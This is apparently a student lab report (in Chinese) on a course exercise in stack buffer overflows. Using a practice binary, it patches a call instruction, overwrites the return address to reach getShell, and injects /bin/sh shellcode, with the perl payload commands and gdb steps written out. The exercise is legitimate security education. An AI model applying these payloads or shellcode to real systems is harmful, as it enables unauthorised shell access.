当前位置: 首页 > news >正文

20232413邓昊 2025-2026-1 《网络与系统攻防技术》实验一实验报告

一.实验目标

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个自己制作的shellcode并运行这段shellcode。

二.实验知识点

1.熟悉Linux基本操作

2.能看懂常用指令,如管道(|),输入、输出重定向(>)等。

3.理解Bof的原理。

4.能看得懂汇编、机器指令、EIP、指令地址。

5.会使用gdb,vi。

三.实验步骤

(一)修改程序机器指令,该变终端名

image

 将pwn1文件下载至kali并改名为pwn20232413,反汇编文件

ba54d7f0fc4078c7a477d8abdc223cc6

 在终端输入vi pwn20232413,结果为乱码

点击esc,输入:%!xxd进入十六进制编辑模式,将e8 d7更改为e8 c3

a55b17d248108e7dbf73995c069510e4

 :%!xxd -r转回原来的格式并保存

fc25ce3fd58ffef13211fc59442dc012

 修改成功

输入./pwn20232413显示运行结果

image

 

(二)BOF攻击,改变程序执行流

安装gdb

使用命令sudo apt update和sudo apt install gdb命令安装gdb,完成后输入gdb,查看是否安装成功

d1dfc42093002cdef0fcbe6f0891971a

 复制pwn1,命名为pwn20232413_2

在 gdb 调试 pwn20232413_2程序的过程中,输入字符串 “1111111122222222333333334444444412345678” 后,使用 info r 命令查看寄存器 eip 的值,结果显示输入的 “1234”(对应十六进制 0x34333231)已覆盖堆栈上的返回地址。因此,只需将这四个字符替换为 getShell 函数的内存地址,就能让程序执行 getShell 函数。

302a96a13cee67d588aa215616c2bb33

 

0bcc93114746deeb8639ab093998fcab

 为了将1234替换为getShell的地址0x0804847d,我们通过以下命令生成一个包含这些十六进制内容的文件:
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成文件后,使用十六进制查看工具查看文件内容,命令为:
xxd input
使用以下命令将input文件中的字符串作为可执行文件的输入:
(cat input;cat) | ./pwn20232413_2
输入字符串将传递给pwn20232413_2,实现对程序的控制。

b5e1b73d089cc98bd9795486a7a0a1aa

 成功调用getShell函数

(三)注入Shellcode

1.准备execstack

bdfdf6d1f13be12fe57904f3c29477b8

 2.构筑payload

输入命令构筑shellcode的输入

perl -e'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

输入以下命令将input_shellcode的输入内容作为pwn20232413_3的输入:
(cat input_shellcode; cat) | ./pwn20232413_3

25ee26b6c52d8bb0a77cbf797c452631

 3.新开终端,输入以下命令查看pwn20232413_3文件的进程及进程号:
ps -ef | grep pwn20232413_3

e170d70acf3963affaa6135c2c54d73f

 4.设置断点,查看注入内存

5.确认RET的覆盖跳转

6.shellcode执行结果

1d18d3cf147014667d1c1c02f45c1c1d

 

image

 

四.实验中遇到的困难与解决办法

困难:

安装gdb时,由于缺失公钥,无法验证签名,导致安装失败。

解决办法:

通过命令强制删除旧密钥,通过官方源重新导入密钥,修复密钥换文件权限,以下为使用到的命令

 1. 下载 Kali 官方密钥文件(archive-key.asc)
wget -O /tmp/kali-archive-key.asc https://archive.kali.org/archive-key.asc 2. 验证密钥文件完整性
gpg --verify /tmp/kali-archive-key.asc
正常输出应包含「Good signature from "Kali Linux Repository <devel@kali.org>"」 3. 将密钥导入 APT 密钥环
sudo apt-key add /tmp/kali-archive-key.asc4. 同时将密钥添加到「signed-by」指定的密钥文件(匹配 sources.list 配置)
sudo gpg --dearmor /tmp/kali-archive-key.asc -o /usr/share/keyrings/kali-archive-keyring.gpg
5.给密钥文件设置正确的权限(所有人可读,所有者可写)
sudo chmod 644 /usr/share/keyrings/kali-archive-keyring.gpg

ls -l /usr/share/keyrings/kali-archive-keyring.gpg
# 正常输出应类似:-rw-r--r-- 1 root root ...
五.实验心得
本次实验不仅让我掌握了缓冲区溢出漏洞的调试与利用方法,更培养了 “从程序底层逻辑分析问题” 的思维习惯。通过 GDB 工具的实操、栈帧结构的分析、payload 的构造与验证,我对 “程序执行流控制” 这一核心概念有了从抽象到具体的认知。未来,我将以本次实验为基础,进一步学习更复杂的漏洞类型与利用技术,不断提升自身的网络安全实践能力。
 
http://www.rkmt.cn/news/20256.html

相关文章:

  • 充气泵方案:在开发时需要测试那些功能?
  • 直播预告|PostgreSQL 18 六大新特性深度解析
  • 新型电力系统下 MyEMS 微电网协同调度:实践路径与园区落地案例
  • 【华中科大主办|往届EI均检索】第四届声学,流体力学与工程国际学术会议(AFME 2025)
  • 10.13
  • P8037 [COCI2015-2016#7] Prokletnik 题解
  • 【A】The Lost Ship in the Sky
  • 2025 AI 品牌最新推荐排行榜:聚焦商业落地能力,甄选懂需求的实力服务机构东北 Ai/大连 Ai/大连 Ai 培训/大连 Ai 开发/大连 Ai 推广公司推荐
  • 基于经验模态分解的去趋势波动分析(EMD-DFA)方法
  • 双碳目标下企业零碳转型的 MyEMS 碳流可视化支撑体系:路径探索与效能评估
  • 2025 年国内水泵厂家最新推荐排行榜:涵盖多类型水泵,助力用户精准选购优质产品立式多级/自吸/磁力/排污/真空/离心水泵厂家推荐
  • Oracle sql tuning guide 翻译 Part 6-3 --- 用Hint影响优化器 - 指南
  • redhat 链接宝塔mysql报错问题发现到解决
  • vue2初始化过程
  • [Doris/函数] Doris 之数据查询
  • upload的典型案例demo
  • 简单聊聊数据可视化大屏制作的前端设计与后端开发
  • [THUWC 2018] 字胡串
  • 2025 年钢结构厂家推荐榜:箱型H型/厂房仓库/电厂/桥梁/农牧业/锅炉/场馆/高层框架/装配式钢结构工厂,聚焦安全与品质,助力建筑项目精准选品
  • 2025企业聊天软件排行 5款好用的通讯软件推荐
  • Redis中的线程模型 - 浪矢
  • 欧美(美股、加拿大股票、墨西哥股票)股票数据接口文档
  • 2025年GEO(AI搜索优化)服务商口碑排行榜
  • vue播放rtsp流方案
  • 基于MATLAB的天线方向图综合与雷达天线设计
  • Kong Gateway 实操实例:代理上游服务并配置限流插件 - 指南
  • 2025 年最新二手手机交易公司推荐排行榜:聚焦企业的专业与诚信实力,为消费者精选可靠选择
  • 项目管理中的批量更新如何帮助节省时间和工作量?
  • 网关本质论
  • 赋能智慧农业:ISUP协议视频平台EasyCVR智慧农业视频远程监控管理方案